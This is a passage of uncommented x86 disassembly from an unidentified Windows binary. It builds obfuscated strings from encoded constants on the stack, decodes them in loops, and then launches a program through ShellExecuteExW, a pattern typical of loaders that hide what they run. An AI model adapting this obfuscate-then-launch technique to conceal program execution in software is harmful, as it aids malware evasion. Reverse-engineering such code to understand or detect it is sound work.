call fcn.0044088e
push esi
push 1
lea ecx, [esp + 0x778]
call fcn.0044088e
push esi
push 1
lea ecx, [esp + 0x808]
call fcn.0044088e
push 0x18
pop edx
add edi, edx
push esi
pop eax
cmp edi, dword [esp + 0x4e0]
jne 0x45b2f4
xor eax, eax
mov esi, eax
mov dword [esp + 0x240], 0x69016a05
mov dword [esp + 0x244], 0x63176913
mov ecx, eax
mov dword [esp + 0x248], 0x2b007c16
mov dword [esp + 0x24c], 0x409ef10e
mov dword [esp + 0x250], 0x25d97e0c
mov dword [esp + 0x254], 0xd607c4df
mov dword [esp + 0x258], 0x7207254f
mov dword [esp + 0x25c], 0x80147c22
mov dword [esp + 0x260], 0x881a8503
mov dword [esp + 0x264], 0x92193720
mov dword [esp + 0x268], 0x8304550e
mov dword [esp + 0x26c], 0x531f841c
mov dword [esp + 0x270], 0x921d561e
mov dword [esp + 0x274], 0xa015830f
mov dword [esp + 0x278], 0x900d9f1b
mov dword [esp + 0x27c], 0x60214f0c
mov dword [esp + 0x280], 0xa402a112
mov dword [esp + 0x284], 0x5909aa08
mov word [esp + 0x288], 0xa411
mov byte [esp + 0x28a], dl
mov dword [esp + 0x28b], 0x66e0ab0
mov dword [esp + 0x28f], 0x106323ad
mov word [esp + 0x293], 0xbbc
mov byte [esp + 0x295], 0xb7
mov dword [esp + 0x4cc], esi
cmp ecx, 0xc
jne 0x45bb63
push 1
push ecx
lea eax, [esp + 0x4d4]
mov ecx, 0x4928
push eax
call fcn.0045960f
mov esi, dword [esp + 0x4d8]
add esp, 0xc
push 0x18
pop edx
mov ecx, edx
jmp 0x45bb99
movzx eax, byte [esp + ecx + 0x241]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x45bb86
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x240]
push 0x18
mov word [esp + eax*2 + 0x88c], dx
pop edx
add ecx, 2
cmp ecx, 0x56
jb 0x45bb38
xor eax, eax
mov dword [esp + 0x308], 0x720d7944
mov word [esp + 0x8d0], ax
mov esi, eax
mov dword [esp + 0x30c], 0x6c417115
mov edi, eax
mov dword [esp + 0x310], 0x2b08791e
mov dword [esp + 0x314], 0x74378119
mov dword [esp + 0x318], 0x741a7e06
mov dword [esp + 0x31c], 0x891b892e
mov dword [esp + 0x320], 0x3b467e45
mov dword [esp + 0x324], 0x8e2b8634
mov word [esp + 0x328], 0x8d30
mov byte [esp + 0x32a], dl
mov dword [esp + 0x32b], 0x27470496
mov dword [esp + 0x32f], 0x388c057e
mov dword [esp + 0x333], 0x14962899
mov dword [esp + 0x337], 0x3e9f299b
mov dword [esp + 0x33b], 0x169d1297
mov dword [esp + 0x33f], 0x23ac2457
mov dword [esp + 0x343], 0x4b5d25ae
mov dword [esp + 0x347], 0x42a613a2
mov dword [esp + 0x34b], 0x33a82171
mov dword [esp + 0x34f], 0x2bd408f
mov dword [esp + 0x353], 0x4dc62fae
mov dword [esp + 0x357], 0xcc04971
mov dword [esp + 0x35b], 0xec53bc3
mov dword [esp + 0x35f], 0xf8847ce
mov dword [esp + 0x363], 0x2aa00ac0
mov dword [esp + 0x367], 0x1dd63cc3
mov dword [esp + 0x36b], 0x4a853990
mov dword [esp + 0x36f], 0x4c8917d9
mov dword [esp + 0x373], 0x2d9a26d0
mov dword [esp + 0x377], 0x20d83ac2
mov dword [esp + 0x37b], 0x3fda43e2
mov dword [esp + 0x37f], 0xbed1cd8
mov dword [esp + 0x383], 0x3de3489b
mov dword [esp + 0x387], 0x36f82cef
mov dword [esp + 0x38b], 0x32b409e7
mov dword [esp + 0x38f], 0x2a900a7
mov dword [esp + 0x393], 0x7ef3530
mov dword [esp + 0x397], 0x11f422f1
mov dword [esp + 0x39b], 0x1fc20104
mov dword [esp + 0x39f], 0x10b70307
mov word [esp + 0x3a3], 0x310b
mov byte [esp + 0x3a5], al
cmp esi, 0x8a
jne 0x45bd80
push 2
pop edi
jmp 0x45bdc2
movzx ecx, byte [esp + esi + 0x309]
mov edx, 0x24f2
sub ecx, esi
dec ecx
push 0xa40
add ecx, edi
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
push eax
mov cl, 1
call fcn.00459361
movzx ecx, byte [esp + esi + 0x314]
add esp, 0xc
mov ax, word [esp + 0x10]
mov word [esp + ecx*2 + 0x928], ax
xor eax, eax
add esi, 2
cmp esi, 0x9e
jb 0x45bd73
xor eax, eax
mov word [esp + 0x9c4], ax
call fcn.0045fea7
xor edx, edx
lea ecx, [esp + 0x758]
div ebx
lea eax, [esp + 0x928]
push eax
mov esi, edx
call fcn.00440509
push eax
imul eax, esi, 0x18
lea ecx, [esp + 0x7a4]
add eax, dword [esp + 0x4b4]
push eax
lea eax, [esp + 0x890]
push eax
call fcn.00440509
mov edx, eax
lea ecx, [esp + 0x7f0]
call fcn.0045ced3
pop ecx
mov edx, eax
lea ecx, [esp + 0x834]
call fcn.0045cf02
push ecx
push eax
lea ecx, [esp + 0x4fc]
call fcn.0045ce4a
xor esi, esi
lea ecx, [esp + 0x830]
xor ebx, ebx
push esi
inc ebx
push ebx
call fcn.0044088e
push esi
push ebx
lea ecx, [esp + 0x7f0]
call fcn.0044088e
push esi
push ebx
lea ecx, [esp + 0x7a8]
call fcn.0044088e
push esi
push ebx
lea ecx, [esp + 0x760]
call fcn.0044088e
xor eax, eax
mov dword [esp + 0x6ec], 0x3c
push 0x12
pop ecx
lea edi, [esp + 0x888]
rep stosd dword es:[edi], eax
push 0x27
pop ecx
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x928]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x508]
stosw word es:[edi], ax
xor eax, eax
cmp dword [esp + 0x51c], 8
mov dword [esp + 0x6f0], eax
cmovae ecx, dword [esp + 0x508]
cmp dword [esp + 0x504], 8
mov dword [esp + 0x6fc], ecx
lea ecx, [esp + 0x4f0]
cmovae ecx, dword [esp + 0x4f0]
mov dword [esp + 0x6f4], eax
mov dword [esp + 0x6f8], eax
mov dword [esp + 0x704], eax
mov dword [esp + 0x708], eax
mov dword [esp + 0x70c], eax
lea eax, [esp + 0x6ec]
push eax
mov dword [esp + 0x704], ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
push ebx
lea ecx, [esp + 0x4f8]
call fcn.0044088e
push esi
push ebx
lea ecx, [esp + 0x510]
call fcn.0044088e
lea ecx, [esp + 0x4b0]
call fcn.0045ce12
lea ecx, [esp + 0x4dc]
call fcn.0045ce12
jmp 0x45bf5e
push ecx
mov edx, ecx
call fcn.0045cdbe
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret